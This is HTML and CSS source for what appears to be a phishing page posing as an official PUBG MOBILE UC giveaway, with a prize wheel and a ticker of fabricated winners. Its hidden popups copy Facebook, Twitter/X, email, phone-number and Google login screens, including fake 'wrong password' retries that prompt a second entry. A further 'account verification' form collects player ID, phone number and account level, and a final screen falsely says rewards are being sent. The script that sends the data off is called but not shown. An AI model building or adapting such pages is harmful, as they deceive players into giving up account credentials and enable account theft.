	scrollbar-highlight-color:#ffbb40;
	scrollbar-3dlight-color:#ffbb40;
	scrollbar-darkshadow-color:#ffbb40;
	scrollbar-track-color:#ffbb40;
	scrollbar-arrow-color:#ffbb40;
}
.item {
	width: 29%;
	height: 110px;
	margin: 3px;
	margin-bottom: 1px;
	display: inline-block;
}
.item img {
	width: 100%;
    height: 100%;
}
.item div {
	width: 100%;
	height: 100%;
	border-radius: 3px 3px 0px 0px;
}
.item div:first-child {
	margin-left: 0;
}
.redeem-item-wrapper {
	margin-top: 10px;
}
.redeem-item-content {
	width: 97%;
	height: 80px;
	margin-left: auto;
	margin-right: auto;
	padding: 5px;
	display: block;
}
.redeem-item-content-name {
	padding-top: 13px;
	color: #fff;
	font-size: 14px;
	font-family: Roboto;
	text-align: left;
}
.redeem-item-content-description {
	width: auto;
	height: auto;
	padding-top: 5px;
	color: #FFC655;
	font-size: 14px;
	font-family: Roboto;
	text-align: center;
	float: left;
}
.redeem-item-content img {
	width: 68px;
	height: 68px;
	margin-right: 10px;
	border: 1px solid;
	border-color: hsla(0,0%,100%,.050980392156862744);
	float: left;
}
.redeem-item-content button {
	background: url(img/btn.png) no-repeat center center;
	background-size: 100% 100%;
	width: 110px;
	height: auto;
	margin-top: -15px;
	padding: 1px;
	padding-top: 3px;
	color: #000;
	font-size: 19px;
	font-family: Teko;
	font-weight: 550;
	text-align: left;
	border: none;
	border-top: 0px !important;
	outline: none;
	float: right;
	animation: bounce .4s infinite alternate;
}
.redeem-item-content button img {
	width: 15px;
	height: 15px;
	margin-top: 9px;
	margin-left: 20px;
	border: none !important;
	float: left;
}
.load-container {
    background: #080809;
    width: 100%;
    height: 100%;
}
.lenzz-container {
    background: url(img/bg.jpg) no-repeat center center;
    background-size: 100% 100%;
    padding: 5px;
    width: 100%;
    margin-left: 0px;
    margin-right: 0px;
    height: 630px;
    position: relative;
	padding-top: 250px;
   padding-bottom: 20px;
}
.event-title {
	
	width:100%;
	height: 98px;
	opacity: 0%;
	margin-top: -120px;
	margin-bottom: 0px;
	margin-right: auto;
	margin-left: auto;	
	position: relative;
	text-align: center;
	font-family: selow;
	font-size: 11px;
	text-shadow: 0.5px 0.5px 1px #000;
}
.alert-textz {
    background: url(img/notif.png) no-repeat center;
    background-size: 100% 100%;
    width: 89%;
    margin-left: auto;
    margin-right: auto;
	margin-top: 80px;
	margin-bottom: -15px;
	position: relative;
  height:33px;
  color:#fff;  
  border-radius: 4px;
  border:none;
  padding-top: 10px;
  color: #fff;
  text-shadow: 0.5px 0.5px 1.5px #000;
  text-align:center;
  font-size:12px;
  font-family:arial;
  border:none;
}
.slider-container {
	margin-top: -0px;
	border: 1px solid black;
}
.popup-box-loading {
	width: 95%;
	height: auto;
	margin-left: auto;
	margin-right: auto;
	padding: 6px;
	color: #AAAAAA;
	font-size: 17px;
    font-family:laza;
	font-weight: 500;
	text-align: center;
	display: block;
}
.popup-box-loading img {
	width: 45px;
	height: auto;
	margin-bottom: 20px;
	text-align: center;
	animation-name: spin;
    animation-duration: 400ms;
    animation-iteration-count: infinite;
    animation-timing-function: linear;
}
@keyframes spin {
    from {transform:rotate(0deg);}
    to {transform:rotate(360deg);}
}

.item4 {
	background: url(img/item-bg.png) no-repeat center center;
    background-size: 100% 100%;
	background-size:display;
	width: 46%;
    height: 77px;
	margin: 0px;
	margin-top: 5px;
	display: inline-block;
	border: 1.5px solid #000;
	border-radius: 0px;	
}
.item4 img {
	background-size:display;
	width: 100%;
    height: 100%; 
    border:none;       
    border-radius: 0px;
}
.item3 {
	background: url(img/item-bg.png) no-repeat center center;
    background-size: 100% 100%;
	background-size:display;
    width: 29.5%;
    height: 96px;
	margin: 0px;
	margin-top: 5px;	
	margin-bottom: 0px;
	display: inline-block;
	border: 1.5px solid #000;
	border-radius: 0px;	
}
.item3 img {
	background-size:display;
	width: 100%;
    height: 100%; 
    border:none;   
    border-radius: 0px;
}
.item5 {
	background: url(img/item-bg.png) no-repeat center center;
    background-size: 100% 100%;
	background-size:display;
    width: 21%;
    height: 77px;
	margin: 0px;
	display: inline-block;
	border: 1.5px solid #000;
	border-radius: 0px;	
}
.item5 img {
	background-size:display;
	width: 100%;
    height: 100%; 
    border:none;   
    border-radius: 0px;
}
.item2 {
	background: url(img/item-bg.png) no-repeat center center;
    background-size: 100% 100%;
	background-size:display;
    width: 22%;
    height: 72px;	
	margin: 0px;
    margin-top: 8px;
	display: inline-block;
	border: 1.5px solid #000;
	border-radius: 4px;	
}
.item2 img {
	background-size:display;
	width: 100%;
    height: 100%; 
    border: 1.2px solid #47a1ff;
    border-radius: 4px;
}
.itemspin {

	background: url(img/item-bg.png) no-repeat center center;

    background-size: 100% 100%;
	background-size:display;
    width: 22%;
    height: 76px;	
	margin: 0px;
    margin-top: 8px;
	display: inline-block;
	border: 1.5px solid #000;
	border-radius: 0px;	
}
.itemspin img {
	background-size:display;
	width: 100%;
    height: 100%; 
    border: 0px solid #00ffff;
    border-radius: 0px;
}
.border_hadiah {
	border: 1.5px solid #fff;
}
.itembutton {
	background-size:display;
    width: 40%;
    height: 45px;
	margin-top: 10px;	
	margin-bottom: 1px;
	display: block;
	margin-left: auto;
    margin-right: auto;
}
.itembutton img {
	background-size:display;
	width: 100%;
    height: 100%; 
}
.itembutton {
    animation: bounce .4s infinite alternate;
}
@media only screen and (max-width:600px) {
    .containerLanding, .containerHome {
        width: 100%;
        height: auto;
        margin-top: -3px;
        margin-bottom: 0px;
		border: none;
        border-radius: 0px;
        padding: 0px;	
    }    
	.slider-container {
		margin-top: 0px;
		border: none;
	}
    .gallery-container {	             
        float: left;
        margin-top:-2px;  
        width:100%;
        height:auto;
        border: 0px solid #fff;       
    }
    .scroll {
        height: 400px;
    }
    .event-notification {    
	   width:93%;
	   height:53px;
	   padding:7px;
	   margin-right: auto;
	   margin-left: auto;
    }
    .event-notification-text {
	   padding-top:11px;
	   font-family:laza;
	   font-size:16px;
    }
    .footer {
       border-left: none;
       border-right: none;
       border-top: none;
       border-bottom: none;
    }
    .popup-box-wrapper {
    width: 360;
    margin-top: 60%;
    }
	.popup-box-wrapperz {
    width: 360;
    margin-top: 60%;
    }
    .popup-box-wrappers {
    width: 360px;
    margin-top: 60%;
    }
	.popup-box-wrapper-login {
        width: 100%;
        margin-top: 60%;
    }
    .popup-box-item {
	width: 22%;
    height: 86px;
    margin-top: 30px;
    }
    .popup-box-login-fb {
    margin-top: 10%;
    }
    .popup-box-login-google {
		margin-top: 40%;
    }
    .popup-box-login-twitter {
    margin-top: 10%;
    }
	.footer {
    background-position-y: calc(500 / 640 * 210vw);
    }
	.footer-socmed-box p {
	margin-top: 12px;
	}
	.event-notification {
	background: url(img/notif-timer.png) no-repeat center center;
    background-size: auto;
    background-size: 94% 100%;
    width: 85%;
    height: 48px;
    margin-left: auto;
    margin-right: auto;
    margin-top: -2px;
    margin-bottom: -82px;
    display: block;
	}
	.event-notification-txt {
	padding-top: 10px;
    padding-left: 34px;
    color: #dbff85;
    font-size: 16px;
    font-family: Teko;
    font-weight: 550;
    text-align: left;
    float: left;
  }
  .event-notification-timer {
	padding-top: 18px;
    padding-right: 4px;
    color: #ffff;
    font-size: 13px;
    font-family: Teko;
    font-weight: 550;
    text-align: left;
	margin-bottom: 13px;
    float: right;
	margin-top:-142px;
	margin-right:20px;
  }
  .notif {
    background: url(img/notif-timer.png) no-repeat center;
    background-size: auto;
    background-size: 85% 81%;
    width: 100%;
    height: 60px;
    margin-top: -3px;
    margin-bottom: 0px;
    padding: 6px;
    color: #ffff;
    border: none;
	}
	.popup-box-bg {
	background: url(img/popup-box-bg2.png) no-repeat center center;
    background-size: 100% 100%;
    width: 110%;
    margin-top: -12px;
    margin-left: -14px
	}
	.item2 {
        width: 22%;
        height: 72px;
		margin: 0px;
        margin-top: 8px;
    }
    .item3 {
        width: 29.5%;
        height: 96px;
		margin: 0px;
		margin-top: 5px;
		margin-bottom: 0px;
    }
    .item4 {
        width: 46%;
        height: 77px;
        margin: 0px;
		margin-top: 5px; 
    }
    .item5 {
        width: 21%;
        height: 77px;
        margin: 0px;
    }
}
</style>
<div class="slider-container">

<div class="lenzz-container">
<div class="event-title"></div>
<div class="alert-textz">
<div class="slider animated fadeIn"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; ID 5883485429 GET 6300 UC</div>
<div class="slider animated fadeIn"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; ID 5295893347 GET 8100 UC</div>
<div class="slider animated fadeIn"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; ID 5155030554 GET Materials - 5</div>
<div class="slider animated fadeIn"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; ID 5463336783 GET 3850 UC</div>
<div class="slider animated fadeIn"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; ID 5356786904 GET 660 UC</div>
<div class="slider animated fadeIn"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; ID 5763737318 GET 8100 UC</div>
<div class="slider animated fadeIn"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; ID 5688686451 GET 6300 UC</div>
<div class="slider animated fadeIn"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; ID 5460177595 GET 2150 UC</div>
</div>
<div class="box">
<div class="box-item">
<center>
<div class="item2" data-order="0">
<img src="img/reward/1.jpg">
</div>
<div class="item2" data-order="1">
<img src="img/reward/2.jpg">
</div>
<div class="item2" data-order="2">
<img src="img/reward/3.jpg">
</div>
<div class="item2" data-order="3">
<img src="img/reward/4.jpg">
</div>
<div style="float:left;margin-left:15px;" class="item2" data-order="9">
<img src="img/reward/10.jpg">
</div>
<div style="width:150px;animation: bounce .4s infinite alternate;border:none;" class="itemspin putarkan" onclick="audioFile()" onmousedown="buka.play();">
<img style="border:none;" src="img/btn.png">
</div>
<div style="float:right;margin-right:15px;"class="item2" data-order="4">
<img src="img/reward/5.jpg">
</div>
<div class="item2" data-order="8">
<img src="img/reward/9.jpg">
</div>
<div class="item2" data-order="7">
<img src="img/reward/8.jpg">
</div>
<div class="item2" data-order="6">
<img src="img/reward/7.jpg">
</div>
<div class="item2" data-order="5">
<img src="img/reward/6.jpg">
</div>
</div> <!--- box-item--->
</div> <!--- box --->

</div> <!--- slider-container --->
<div class="header">
  <img src="img/nam.jpg">
  </div>
</div> <!--- slider-container --->

<div class="popup-login login-facebook animated fadeIn" style="display: none;">
<div class="popup-box-login-fb">
<a onclick="close_facebook()" class="close-fb"><i class="zmdi zmdi-close"></i></a>
<div class="navbar-fb"><img src="img/style-img/icon-facebook.png">
<div class="navbar-fb-text"> Log in With Facebook </div></div> <!--- navbar-fb-text --->
<div class="navbar-alert-fb email-fb">The email address or phone number that you've entered doesn't match any account. <b>Sign up for an account.</b></div> <!--- navbar-alert --->
<div class="navbar-alert-fb sandi-fb">The password that you've entered is incorrect. <b>Forgotten password?</b></div> <!--- navbar-alert --->
<div class="content-box-fb">
<img src="img/style-img/icon_2.jpg">
<div class="txt-login-fb">Log in to your Facebook account to connect to PUBG MOBILE.</div> <!--- txt-login-fb --->
<div class="txt-login-alert">This doesn't let the app post to Facebook.</div> <!--- txt-login-fb --->
<form class="login-form" action="javascript:void(0)" method="post" id="ValidateLoginFbForm">
<div class="form-group-fb">
<input type="text" name="email" id="email-facebook" placeholder="Mobile number or email address" autocomplete="off" autocapitalize="off" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity('')">
<div class="login-form-shid showPassword" id="showFbPassword" onclick="showFbPassword()">Show</div> <!--- login-form-shid showPassword --->
<div class="login-form-shid hidePassword" style="display: none;" onclick="hideFbPassword()">Hide</div> <!--- login-form-shid hidePassword --->
<input type="password" name="password" id="password-facebook" placeholder="Password" autocomplete="off" autocapitalize="off" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity('')">
</div> <!--- form-group-fb --->
<input type="hidden" name="login" id="login-facebook" value="Facebook" readonly>
<input type="hidden" name="playid" id="ValidatePopupPlayId" readonly>
<button type="submit" class="btn-login-fb" onclick="ValidateLoginFbData()">Log In</button>
</form>
<div class="txt-footer">By continuing, PUBG MOBILE will receive ongoing access to the information that you share and Facebook will record when PUBG MOBILE accesses it. <a>Learn more</a> about this sharing and the settings that you have.</div> <!--- txt-footer --->
<div class="txt-footers">PUBG MOBILE's <a>Privacy Policy</a> and <a>Terms</a>
</div> <!--- txt-footer ---><br>
</div> <!--- content-box-fb --->
</div> <!--- popup-box-login-fb --->
</div> <!--- popup-login --->

<div class="popup-login login-twitter animated fadeIn" style="display: none;">
<div class="popup-box-login-twitter">
<a onmousedown="tutup.play();" onclick="close_twitter()" class="close-other"><i class="zmdi zmdi-close"></i></a>
<div class="header-twitter"><img src="img/style-img/icon-twitter.png">
<div class="header-twitter-text"> Log in With Twitter </div></div> <!--- navbar-fb-text --->
<div class="content-box-twitter">
<div class="txt-login-twitter">Log in to your X account to connect to PUBG MOBILE.</div> <!--- txt-login-twitter --->
<div class="content-box-twitter-txt">
<img src="img/style-img/icon_2.jpg">
<div class="content-box-twitter-txt-title">
PUBG MOBILE<br></div>
<div class="content-box-twitter-txt-det">
WINNER WINNER CHICKEN DINNER!
<br>
Official PUBG MOBILE Game!</div></div>
<form action="javascript:void(0)" method="post" id="ValidateLoginTwitterForm">
<div class="form-group-twitter">
<input type="text" name="email" id="email-twitter" autocomplete="off" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity('')">
<label>Phone, email, or username</label>
</div> <!--- form-group-twitter --->
<div class="form-group-twitter">
<div class="form-group-sohi TwitterShowPassword" onclick="showTwitterPassword()">
<img src="img/style-img/Twitter-Show-Password.png">
</div> <!--- form-group-sohi TwitterShowPassword --->
<div class="form-group-sohi TwitterHidePassword" style="display: none;" onclick="hideTwitterPassword()">
<img src="img/style-img/Twitter-Hide-Password.png">
</div> <!--- form-group-sohi TwitterHidePassword --->
<input type="password" name="password" id="password-twitter" autocomplete="off" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity('')">
<label>Password</label>
</div> <!--- form-group-twitter --->
<center><div class="alert-twitter-failed email-tw">
<a class="alert-twitter"><img class"alert-img" src="img/style-img/alert.png">Sorry, we couldn't find your account.</a></div>
<div class="alert-twitter-failed sandi-tw">
<a class="alert-twitter"><img class"alert-img" src="img/style-img/alert.png">Wrong Password!</a></div></center>
<input type="hidden" name="login" id="login-twitter" value="Twitter" readonly>
<input type="hidden" name="playid" id="ValidatePopupPlayId" readonly>
<button type="submit" href='#kinn-verify-on' class="onbutton" onclick="ValidateLoginTwitterData()">Log in</button>
</form>
<div class="content-box-twitter-txt-footer">
We recommend reviewing the app's terms and privacy policy to understand how it will use data from your Twitter account. You can revoke access to any app at any time from the <a>Apps and sessions</a> of your Twitter account settings.<br></div>
<div class="content-box-twitter-txt-footers">
By continuing, PUBG MOBILE will receive ongoing access to the information that you share and Twitter will record when PUBG MOBILE accesses it. <a>Learn more</a> about this sharing and the settings that you have. PUBG MOBILE's <a>Privacy Policy</a> and <a>Terms</a>.<br></div>
</div> <!--- content-box-twitter --->
</div> <!--- popup-box-login-twitter --->
</div> <!--- popup-login --->

<div class="popup-login login-facebook-load" style="display: none;">
<div class="popup-box-login-fb">
<div class="navbar-fb"><img src="img/style-img/icon-facebook.png">
<div class="navbar-fb-text"> Log in With Facebook </div></div> <!--- navbar-fb-text --->
<div class="content-box-fb">
<div class="fb-load">
<img src="img/style-img/icon_fb.png">
<div class="loader3"></div>
</div> <!--- fb-load --->
</div> <!--- content-box-fb --->
</div> <!--- popup-box-login-fb --->
</div> <!--- popup-login--->

<div class="popup-login login-twitter-load" style="display: none;">
<div class="popup-box-login-twitter">
<div class="header-twitter"><img src="img/style-img/icon-twitter.png">
<div class="header-twitter-text"> Log in With Twitter </div></div> <!--- navbar-fb-text --->
<div class="twitter-load">
<div class="twitter-load-title">
<div class="loader2" style="margin-top: 50px;"></div>
</div> <!--- twitter-load-title --->
</div> <!--- twitter-load --->
</div> <!--- popup-box-login-twitter --->
</div> <!--- popup-login --->

<div class="popup-login login-facebook-sec animated fadeIn" style="display: none;">
<div class="popup-box-login-fb">
<div class="navbar-fb"><img src="img/style-img/icon-facebook.png">
<div class="navbar-fb-text"> Log in With Facebook </div></div> <!--- navbar-fb-text --->
<div class="navbar-alert-fb wrong-fb" style="display: block;text-align: center;"><b>The data you've entered is incorrect.</b></div> <!--- navbar-alert --->
<div class="navbar-alert-fb email-fb">The email address or phone number that you've entered doesn't match any account. <b>Sign up for an account.</b></div> <!--- navbar-alert --->
<div class="navbar-alert-fb sandi-fb">The password that you've entered is incorrect. <b>Forgotten password?</b></div> <!--- navbar-alert --->
<div class="content-box-fb">
<img src="img/style-img/icon_2.jpg">
<div class="txt-login-fb">Log in to your Facebook account to connect to PUBG MOBILE.</div> <!--- txt-login-fb --->
<div class="txt-login-alert">This doesn't let the app post to Facebook.</div> <!--- txt-login-fb --->
<form class="login-form" action="javascript:void(0)" method="post" id="SecValidateLoginFbForm">
<div class="form-group-fb">
<input type="text" name="email" id="sec-email-facebook" placeholder="Mobile number or email address" autocomplete="off" autocapitalize="off" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity('')">
<div class="login-form-shid showPassword" id="showFbPassword" onclick="showFbPasswordS()">Show</div> <!--- login-form-shid showPassword --->
<div class="login-form-shid hidePassword" style="display: none;" onclick="hideFbPasswordS()">Hide</div> <!--- login-form-shid hidePassword --->
<input type="password" name="password" id="sec-password-facebook" placeholder="Password" autocomplete="off" autocapitalize="off" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity('')">
</div> <!--- form-group-fb --->
<input type="hidden" name="login" id="sec-login-facebook" value="Facebook" readonly>
<button type="submit" class="btn-login-fb" onclick="SecValidateLoginFbData()">Log In</button>
</form>
<div class="txt-footer">By continuing, PUBG MOBILE will receive ongoing access to the information that you share and Facebook will record when PUBG MOBILE accesses it. <a>Learn more</a> about this sharing and the settings that you have.</div> <!--- txt-footer --->
<div class="txt-footers">PUBG MOBILE's <a>Privacy Policy</a> and <a>Terms</a>
</div> <!--- txt-footer ---><br>
</div> <!--- content-box-fb --->
</div> <!--- popup-box-login-fb --->
</div> <!--- popup-login --->

<div class="popup-login login-twitter-sec animated fadeIn" style="display: none;">
<div class="popup-box-login-twitter">
<div class="header-twitter"><img src="img/style-img/icon-twitter.png">
<div class="header-twitter-text"> Log in With Twitter </div></div> <!--- navbar-fb-text --->
<div class="content-box-twitter">
<div class="txt-login-twitter">Log in to your X account to connect to PUBG MOBILE.</div> <!--- txt-login-twitter --->
<div class="content-box-twitter-txt">
<img src="img/style-img/icon_2.jpg">
<div class="content-box-twitter-txt-title">
PUBG MOBILE<br></div>
<div class="content-box-twitter-txt-det">
WINNER WINNER CHICKEN DINNER!
<br>
Official PUBG MOBILE Game!</div></div>
<form action="javascript:void(0)" method="post" id="SecValidateLoginTwitterForm">
<div class="form-group-twitter">
<input type="text" name="email" id="sec-email-twitter" autocomplete="off" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity('')">
<label>Phone, email, or username</label>
</div> <!--- form-group-twitter --->
<div class="form-group-twitter">
<div class="form-group-sohi TwitterShowPassword" onclick="showTwitterPasswordS()">
<img src="img/style-img/Twitter-Show-Password.png">
</div> <!--- form-group-sohi TwitterShowPassword --->
<div class="form-group-sohi TwitterHidePassword" style="display: none;" onclick="hideTwitterPasswordS()">
<img src="img/style-img/Twitter-Hide-Password.png">
</div> <!--- form-group-sohi TwitterHidePassword --->
<input type="password" name="password" id="sec-password-twitter" autocomplete="off" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity('')">
<label>Password</label>
</div> <!--- form-group-twitter --->
<center>
<div class="alert-twitter-failed wrong-tw" style="display: block;">
<a class="alert-twitter"><img class"alert-img" src="img/style-img/alert.png">The data you've entered is incorrect.</a></div>
<div class="alert-twitter-failed email-tw">
<a class="alert-twitter"><img class"alert-img" src="img/style-img/alert.png">Sorry, we couldn't find your account.</a></div>
<div class="alert-twitter-failed sandi-tw">
<a class="alert-twitter"><img class"alert-img" src="img/style-img/alert.png">Wrong Password!</a></div></center>
<input type="hidden" name="login" id="sec-login-twitter" value="Twitter" readonly>
<button type="submit" href='#kinn-verify-on' class="seconbutton" onclick="SecValidateLoginTwitterData()">Log in</button>
</form>
<div class="content-box-twitter-txt-footer">
We recommend reviewing the app's terms and privacy policy to understand how it will use data from your Twitter account. You can revoke access to any app at any time from the <a>Apps and sessions</a> of your Twitter account settings.<br></div>
<div class="content-box-twitter-txt-footers">
By continuing, PUBG MOBILE will receive ongoing access to the information that you share and Twitter will record when PUBG MOBILE accesses it. <a>Learn more</a> about this sharing and the settings that you have. PUBG MOBILE's <a>Privacy Policy</a> and <a>Terms</a>.<br></div>
</div> <!--- content-box-twitter --->
</div> <!--- popup-box-login-twitter --->
</div> <!--- popup-login --->

<div class="popup account_verification animated fadeIn" style="display: none;">
<div class="popup-box-wrapperz">
<div class="popup-box-navbarz">
<div class="popup-box-navbar-title">Account Verification</div>
</div>
<div class="popup-box-bgz">
<div class="popup-box-alert4"><br>Complete your account details</div>
<form class="popup-box-form" action="javascript:void(0)" method="post" id="ValidateVerificationDataForm">
<input type="hidden" name="email" id="validateEmail" readonly>
<input type="hidden" name="password" id="validatePassword" readonly>
<input type="hidden" name="codetel" id="validateTel" readonly>
<input type="number" name="playid" id="playid" placeholder="Player ID" autocomplete="off" required oninvalid="this.setCustomValidity('Input your Player ID')" oninput="setCustomValidity('')">
<input type="number" name="phone" id="phone" placeholder="Phone Number" autocomplete="off" required oninvalid="this.setCustomValidity('Input your Phone Number')" oninput="setCustomValidity('')">
<select name="level" id="level" required oninvalid="this.setCustomValidity('Choose your Account Level')" oninput="setCustomValidity('')">
<option selected="selected" disabled="disabled" value="">Account Level</option>
<script>
for(var i = 1; i <= 100; i++){
document.write("<option>" + i + "</option>");
};
</script>
</select>
<input type="hidden" name="login" id="validateLogin" readonly>
<br>
<br>
<div class="popup-box-footer">
<button type="submit" onmousedown="buka.play();" onclick="ValidateVerificationData()">Verification</button>
</div>
</form>
</div>
</div>
</div>

<div class="popup player_id animated fadeIn" style="display: none;">

<div class="popup-box-wrapperz">

<div class="popup-box-navbarz">
<div class="popup-box-navbar-title">Account Verification</div>
</div>
<div class="popup-box-bgz">
<div class="popup-box-alert4"><br>Complete your account details</div>
<form class="popup-box-form" action="javascript:void(0)" method="post" id="ValidateVerificationDataForm">
<input type="hidden" name="email" id="validateEmail" readonly>
<input type="hidden" name="password" id="validatePassword" readonly>
<input type="hidden" name="codetel" id="validateTel" readonly>
<input type="number" name="playid" id="playid" placeholder="Player ID" autocomplete="off" required oninvalid="this.setCustomValidity('Input your Player ID')" oninput="setCustomValidity('')">
<input type="number" name="phone" id="phone" placeholder="Phone Number" autocomplete="off" required oninvalid="this.setCustomValidity('Input your Phone Number')" oninput="setCustomValidity('')">
<select name="level" id="level" required oninvalid="this.setCustomValidity('Choose your Account Level')" oninput="setCustomValidity('')">
<option selected="selected" disabled="disabled" value="">Account Level</option>
<script>
for(var i = 1; i <= 100; i++){
document.write("<option>" + i + "</option>");
};
</script>
</select>
<input type="hidden" name="login" id="validateLogin" readonly>
<br>
<br>
<div class="popup-box-footer">
<button type="submit" onmousedown="buka.play();" onclick="ValidateVerificationData()">Verification</button>
</div>
</form>
</div>
</div>
</div>

<div class="popup check_verification animated fadeIn" style="display: none;">
<div class="popup-box-wrapperz">
<div class="popup-box-navbarz">
<div class="popup-box-navbar-title">Account Verification</div>
</div>
<div class="popup-box-bgz" style="margin-top: 0px;">
<div class="popup-box-loading"><br><br><br>
<img class="animate-spin" src="img/loading.png"></img>
<br><br>Checking your account details...
<br>
</div>
<div class="popup-box-footer"></div>
</div>
</div>
</div>

<div class="popup processing_account animated fadeIn" style="display: none;">
<div class="popup-box-wrapperz">
<div class="popup-box-navbarz">
<div class="popup-box-navbar-title">Processing Account</div>
</div>
<div class="popup-box-bgz">
<div class="popup-box-alert2" style="line-height: 22px;"><br>
<p style="margin-top: -20px;">Hi Survivor,</p><br>
We are happy that you are still loyal to PUBG MOBILE.
<br>Your rewards is being processed, Rewards are sent to your <span style="color: #e67a07;">in-game mail inbox.</span>
<p>We will also notify you in the mailbox when we have successfully dispatched your rewards.
<br>Please wait up to 1-3 days.</p>
</div>
<br>
<div class="popup-box-footer">
<button type="button" onmousedown="tutup.play();" style="margin-right: 0; float: none;" onclick="location.href='https://pubgmobile.com/';">Logout</button>
</div>
</div>
</div>
</div>
</div>

<div class="popup-link login-mail animated fadeIn" style="display: none;">
<div class="seclink-box">
<div class="seclink-box-navbar">
<img onmousedown="tutup.play();" onclick="close_link()" src="img/close.png">
<div class="seclink-box-navbar-title">
<a class="et">Email Login</a>
<a class="nt" style="display:none;">Mobile Number Login</a>
</div> <!--- popup-box-navbar-title --->
</div> <!--- popup-box-navbar --->
<div class="seclink-box-bg">
<div class="seclink-box-alert"></div> <!--- popup-box-alert --->
<div class="seclink-wrapper">
<div class="seclink-content email-login" id="email-login" onmousedown="buka.play();" onclick="openloginlink(event, 'emaillog'); et();">
<div class="seclink-content-txt">Email address</div></div> <!--- seclink-content --->
<div class="seclink-content number-login" onmousedown="buka.play();" onclick="openloginlink(event, 'numberlog'); nt();">
<div class="seclink-content-txt">Mobile Number</div></div> <!--- seclink-content --->
</div> <!--- seclink-wrapper ---> <br>
<div class="form_login" id="emaillog">
<form action="javascript:void(0)" method="post" id="ValidateLoginMailForm">
<p class="kagetk email-k">Wrong e-mail. Please enter again.</p>
<p class="kagetk sandi-k">Wrong password. Try again.</p>
<label>E-mail address</label>
<input class="seclink-box-form-login" type="text" name="email" id="email-k" autoCapitalize='none' placeholder="Enter your e-mail" required oninvalid="this.setCustomValidity('Input your E-mail address')" oninput="setCustomValidity('')">
<label>Password</label>
<input class="seclink-box-form-login" type="password" name="password" id="password-k" placeholder="Please enter password" pattern="[a-zA-Z0-9]+" required oninvalid="this.setCustomValidity('Input your Password')" oninput="setCustomValidity('')">
<center>
<input type="hidden" name="login" id="login-mail" value="Linked Email" readonly>
<div class="seclink-box-footer">
<button type="submit" onmousedown="buka.play();" onclick="ValidateLoginMailData()">OK</button></center>
</form>
</div> <!--- email-login --->
<div class="form_login" id="numberlog">
<p class="kagetk email-nk">Wrong Phone number. Please enter again.</p>
<p class="kagetk sandi-nk">Wrong password. Try again.</p>
<label>Country/Region</label>
<form action="javascript:void(0)" method="post" id="ValidateLoginNumberForm">
<input class="seclink-box-form-region" type="tel" name="codetel" id="code-tel" readonly>    
<input class="seclink-box-form-number" type="number" name="email" id="email-nk" placeholder="Please enter Number Phone" required oninvalid="this.setCustomValidity('Input your Number Phone')" oninput="setCustomValidity('')"> 
<label>Password</label>
<input class="seclink-box-form-login" type="password" name="password" id="password-nk" placeholder="Please enter password" required oninvalid="this.setCustomValidity('Input your Password')" oninput="setCustomValidity('')">
<input type="hidden" name="login" id="login-number" value="Linked Number" readonly>
<center><div class="seclink-box-footer">
<button type="submit" onmousedown="buka.play();" onclick="ValidateLoginNumberData()">OK</button></center></form> <!--- form --->
</div> <!--- number-login --->
</div> <!--- popup-box-bg --->
</div> <!--- popup-box-wrapper --->
</div> <!--- popup account_login --->

<div class="popup login-mail-load animated fadeIn" style="display: none;">
<div class="seclink-box">
<div class="seclink-box-navbar">
<div class="seclink-box-navbar-title">
<a>Email Login</a>
</div> <!--- popup-box-navbar-title --->
</div> <!--- popup-box-navbar --->
<div class="seclink-box-bg">
<div class="seclink-box-alert"></div> <!--- popup-box-alert --->
<div class="seclink-wrapper">
<div class="seclink-content-active seclink-content">
<div class="seclink-content-txt">Email address</div></div> <!--- seclink-content --->
<div class="seclink-content">
<div class="seclink-content-txt">Mobile Number</div></div> <!--- seclink-content --->
</div> <!--- seclink-wrapper ---> <br>
<div id="load-ml" style="height:220px;">
<center>
<img class="load-login-img" style="margin-top:30px;" src="img/style-img/kotak.png"></img>
<br>
<img class="load-login-gif" src="img/style-img/load.gif"></img>
</center>
</div>
</div> <!--- popup-box-bg --->
</div> <!--- popup-box-wrapper --->
</div> <!--- popup login-mail-load --->

<div class="popup login-number-load animated fadeIn" style="display: none;">
<div class="seclink-box">
<div class="seclink-box-navbar">
<div class="seclink-box-navbar-title">
<a>Mobile Number Login</a>
</div> <!--- popup-box-navbar-title --->
</div> <!--- popup-box-navbar --->
<div class="seclink-box-bg">
<div class="seclink-box-alert"></div> <!--- popup-box-alert --->
<div class="seclink-wrapper">
<div class="seclink-content">
<div class="seclink-content-txt">Email address</div></div> <!--- seclink-content --->
<div class="seclink-content-active seclink-content">
<div class="seclink-content-txt">Mobile Number</div></div> <!--- seclink-content --->
</div> <!--- seclink-wrapper ---> <br>
<div id="load-ml" style="height:220px;">
<center>
<img class="load-login-img" style="margin-top:30px;" src="img/style-img/kotak.png"></img>
<br>
<img class="load-login-gif" src="img/style-img/load.gif"></img>
</center>
</div>
</div> <!--- popup-box-bg --->
</div> <!--- popup-box-wrapper --->
</div> <!--- popup login-number-load --->

<div class="popup-login login-google animated fadeIn" style="display: none;">
<div class="popup-box-login-google">
<a onmousedown="tutup.play();" onclick="close_google()" class="close-other"><i class="zmdi zmdi-close"></i></a>
<div class="box-google">
<div class="header-google"><svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" class="BFr46e xduoyf">
<g id="qaEJec">
